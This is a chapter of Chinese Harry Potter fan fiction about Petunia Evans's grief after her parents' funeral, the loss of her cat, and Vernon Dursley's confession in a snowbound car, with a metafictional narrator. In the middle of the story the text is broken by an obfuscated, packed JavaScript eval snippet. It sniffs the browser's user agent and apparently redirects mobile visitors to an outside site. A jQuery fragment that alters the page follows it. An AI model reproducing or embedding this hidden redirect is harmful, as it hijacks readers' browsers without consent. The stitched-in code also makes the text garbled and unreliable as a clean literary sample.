“生命总在继续，死亡不可避免。”


    看守墓园的老修女对她说，佩妮点点头，垂下她的眼眸，老修女的吻落在她的黑色面纱上。


    莉莉就站在佩妮的右手边，连同她那头火红的头发笼罩在一条黑裙子里，那双绿色的眼睛噙满悲伤的泪水。


    佩妮反手握住莉莉颤抖的手。


    在那个寒冷的冬夜，莉莉带着悲伤的泪水，扑进佩妮的怀里，身后跟着一脸担忧视线追逐着她的詹姆·波特。


    他和弗农·德思礼在楼下成功点起客厅的壁炉。


    房间很安静，能听见炉火燃烧的哔啵声。


    佩妮在楼上，披着妈妈留下来的那件外套，半倚在床上，手落在蜷缩在她身旁，莉莉因抽泣而颤抖的脊背上。


    视线却落在打开窗户外的夜色上，落单的零星夜鸟，在夜色中飞过尖塔似的屋顶。


    她做的很好，佩妮把自己穿在一袭黑色的长裙里，笼罩进一层黑色的网织面纱。在德思礼的帮助中，从容不迫地联系墓地，刊登讣告，邀请牧师举办葬礼。


    现在她代表伊万斯，代表伊万斯这个姓氏。


    在教堂的钟声中，在牧师的祷告后，佩妮宣读着那被写进一张纸里的一生。


    一张纸写尽的一生，她的一生又写在哪张纸上。


    佩妮听见自己平静的声音回荡在教堂内。隔着黑色面纱，众人或哭或笑的神色传进她的眼底里，却无法激起她内心一丝波澜。


    就像冬天墓园的小径。


    冬天的墓园很平静，没有风，守墓人在他们到来之前就已清扫小径掉落的枝桠还有积雪，使他们能够来到墓园的深处，那最终的应许之地。


    最后一抔土覆盖上棺椁。


    佩妮在墓碑前放下一束鲜花。


    这时，莉莉似乎无法忍受般用手捂住自己的脸，发出很小声的抽泣。


    站在她身后的詹姆想要上前一步，伸出他的手，却又在快要触及莉莉脊背上的红发时停了下来。


    佩妮一只手握住了莉莉的手，另一只手抚上了她的脊背。


    莉莉的声音很轻，但还是惊起了这个寂静墓园中，枝头上剩下的最后一只鸟。


    那可能是一只知更鸟，她第一天来到这个墓园，就看见了它。


    它看起来翅膀受伤了，蜷缩在那棵光秃秃的树枝上，轻啄着它的羽毛。


    现在它飞走了，张开它的翅膀，冲向那阴沉沉的天空。


    它会再回来吗？


    还是一去不回头？


    生命总在继续，死亡不可避免。


    她送别那些人。


    送别陌生的，送别熟悉的。


    在国王十字车站，送别莉莉和詹姆。


    冬天的车站并没有多少人，只有一层白色的雾气若隐若现地笼罩在站台上。


    走进石墙前，詹姆停下来回头看着佩妮。


    “嘿，佩妮，戈德里克山谷，在英格兰的西南部。那里有阳光，一个广场，有几家不错的店铺，一个邮局、一家酒吧、还有一个小教堂。”他推了推自己的眼镜，“在假期，如果你有空的话，我和小天狼星都会在那里。”


    莉莉站在詹姆的身边，当莉莉出现的时候，他的目光总是不由地追随着她。


    佩妮当然能明白那眼神的含义。


    佩妮点点头。


    她送别他们，看着他们消失在石墙后，继续他们的旅程。


    佩妮转身。


    “佩妮！”她听见身后传来一声急切的呼唤，下一秒，有人从背后牢牢地抱住了她。


    第一次来国王十字车站，站在这里，她也从石墙里奔出来，抱紧她。


    “别回头！”身后的人说，她红色的头发落在佩妮的脖颈间，使她感觉有些痒。但她无法回头，因为那双抱住她的手。


    “莉莉永远爱佩妮。”身后的人说，“永远。”


    那双手松开，佩妮站在原地没有回头。


    一辆蒸汽火车在此时停在了站台上，悠长的汽笛声划破站台安静的空气。


    佩妮慢慢回头，石墙前只剩下空茫茫的雾气。


    她走出国王十字车站，德思礼在外面等她。


    他站在他的黑色轿车旁，手里夹着一根烟。看到佩妮时，他把烟抛到地上，抬脚踩灭了它，随后为她拉开了车门。


    德思礼陪她去警察局签署剩下的文件。


    他看起来对那些流程相当熟悉，他接过那些繁复的文件先看一遍，确认无误后再递给佩妮签字。


    警察局的灯光仍然刺眼，但德思礼的身影挡住了大部分的白光。


    最后一站停在佩妮的公寓门口。


    德思礼显然想说些什么，佩妮拧动门把手的动作停顿了一下。


    她在等德思礼的话。


    但德思礼最后什么也没说出来，他把空间让给了佩妮，转身走进楼道的阴影里。


    感激、愧疚，还有一种如同火车站的雾气那样空茫茫的感觉占据了她的内心。


    生活总在继续，死亡不会停止。


    这是她的生活。


    她转动钥匙锁扣，推开了房门。


    屋内漆黑一片，冷风透过打开的窗帘灌进屋内。


    黑暗中她听见厨房那头传来一阵窸窸窣窣的声音。


    那声音她很久没有听到了，衬着房间又空旷又安静。


    佩妮心里一沉。


    她突然意识到自己犯了一个严重的错误。


    她把多利遗忘在了这里。


    她离开时匆匆忙忙，没有给多利备下足够多的水和食物。


    她一连离开了许多天。


    “多利？”她试探性地喊叫了一声。


    房间里空荡荡的，只有不时被冷风刮起的窗帘，徒劳飘荡着回答她。


    她匆忙奔到窗户旁，纱窗上赫然是一个拳头大小的洞，冷风就从这里灌进来。


    优秀的捕手总是向往自由的天空。


    它为她停留在这间只有她存在的小屋里。


    但她忘记了它。


    它从洞的这头跃到那头，挣脱束缚它的空间，前往一个更大的天地。


    那根紧绷的弦在她脑海里猝然断裂，一瞬间好似所有的力气都从身体里流了出去，使她开始软弱起来。


    多利——


    她转头退出她的房间，跑下楼梯，楼梯因她的奔跑发出不堪重负的声音，昏暗的电灯在她头顶闪烁。


    多利——


    她一边奔跑，一边呼唤。


    天上开始下雪，将路灯，街道都覆盖上一层白色。


    雪落在她的头上，落在她的睫毛上。


    回应着她的徒劳无功。


    她停下来，看着那片白茫茫的大地，什么话也说不出来。


    你的生活。


    生活总在继续，死亡不可避免。


    谁在同她开玩笑。


    为什么？


    一个温暖的外套落在她的身上。


    “发生了什么事？”


    是德思礼，还没有走远的德思礼，他追上在雪地里奔跑的佩妮，把自己的外套脱下来，罩在了佩妮的身上。


    她抓住德思礼的手，试图对他露出一个笑容。


    其实这没什么，只是一件小事。


    她在葬礼上表现得如此从容不迫，但是为什么眼泪……


    眼泪却在此时流了下来。


    “猫不见了。”


    她听见自己上牙磕着下牙，打着哆嗦说。


    佩妮再次坐在德思礼的汽车里。


    车窗外雪更大了，一片一片白色雪花连成白茫茫的雪海。


    但这辆汽车里却开着暖气，封闭狭小的空间充盈着温暖和明亮的光线，像是海洋里的一座绝对安全的孤岛。


    她把自己收拾好，穿着德思礼的外套，捧着一杯热可可。温度透过指尖，一路传递至她的心脏。


    德思礼坐在右座的驾驶座上，手搭在方向盘上，他的手里也拿着一份薯条还有热狗，直视着前窗视野里白茫茫的雪。


    “不要担心。”他说，“我跟这一块的动物收容所都进行了沟通，如果他们见到了那只没有尾巴的猫，他们会随时联系我。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602537|177776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “街头有为流浪动物准备的安全屋，会有动物保护协会的人定期检查水和粮食的情况。”


    车厢里沉默了一会儿，温度使人昏昏沉沉。


    “我知道这不是一个合适的机会，”德思礼的视线从前方移到佩妮的脸上，又转而落在他的方向盘上，吞吞吐吐地说道：“但是佩妮……”


    “一开始也是因为一只流浪动物对吗？我想想，好像是一只黑狗，我遇到了你。”他说。


    “从我见到你的那天开始。”


    “你的金发，你说话的语气和神态。”


    “还有那天，你在我袖口和领口绣的金色的花朵。”


    “在我小时候，我的母亲也会这样给我和玛姬缝上这样的花朵，但她的手艺没有你的好，我发誓。”


    “直到后来她躺在病床上，再也无法为我和玛姬拿起针线。”


    “噢，我要说的不是这个，佩妮，你在格朗宁办公室，在你之前我从来没有留意到那台打字机。”


    “后来每天早上我经过那台打字机，你的手敲击在键盘上的声响，是我听过的最美妙的音乐。”


    “你那么真诚，你有思想。”


    “命运总是反复无常，人们向命运索要什么承诺，命运一概不理，只会在一些想不到的地方打你一个措手不及。”


    “这是我父母去世时教会我的东西。”


    “但不得不说，有时候命运也带给我惊喜。”


    “我知道这个时间可能不太合适，但是我还是想说……”


    “给我一个机会……”他看着车窗，左手紧张地摩挲他下颌新长出来的胡须，他的视线转过来，又在佩妮望过去的时候移开，“给我一个陪在你身边的机会。”


    他说。


    车窗上因为温暖结着一层朦胧的雾气，窗外是纷飞的白雪，天地的一切都因此界限消失变得模糊起来，好像只有这个温暖安全的空间里一切才真实存在。


    佩妮伸手，拂去她那一侧车窗上的薄雾，窗面模模糊糊反射出她的金发，她平凡的面容。


    她对上了自己的视线。


    呀，你看见了我。


    一直跟着你的我。


    我知道你想向我质问什么。


    你想起了诺拉对你说的话是吗？


    ——佩妮，我们会不会也在哪个故事里？我和你，我们也是被创造出来的人物，冥冥之中有一只笔也在撰写我们的命运。


    ——你看了那么多的故事，在那些已经出版的这些小说里，你提前看过结局了，你知道仁慈的作者会赐予她们幸福又美满的结局，你会有惊无险地到达最后的终点。但佩妮，在我们的小说故事里，你怎么保证撰写我们故事的那支笔，一定能够我们带来一个美好的结局呢？


    嘿，请不要用那种眼神看着我。


    ——也不要这样看着我手上的那支笔。


    我的笔只记录，忠实记录在你身上发生的事情。


    而你的命运不由我安排，在我落笔前，在宇宙被创造前，早已被写就在了另外一本书里，另外一张白纸上。


    你是不幸的。


    因为洪水有时候决堤，决堤在别人身上，只是这一次不幸决堤在了你的身上。


    但你也是幸运的，因为他出现了。


    你的小说这么写，其他小说也这么写。


    她们坠入河流，就轮到他们出场。


    于是德思礼一次又一次地出现。


    恰当又及时地出现。


    他爱上你也觉得这是命运不是吗？


    命运并非残忍，命运只是有些反复和无常。


    生命总在继续，死亡不可避免。


    那辆汽车，你肯定对那辆汽车印象深刻。


    有人上车，有人下车。


    承认命运也没有什么大不了的。


    德思礼将他的手从方向盘上抬起来，以一种缓慢的姿态向她伸过来。


    窗外雪下可得真大，什么也看不清。


    佩妮闭上眼。


    任由那只手覆盖她的手背，牢牢地攒住了她。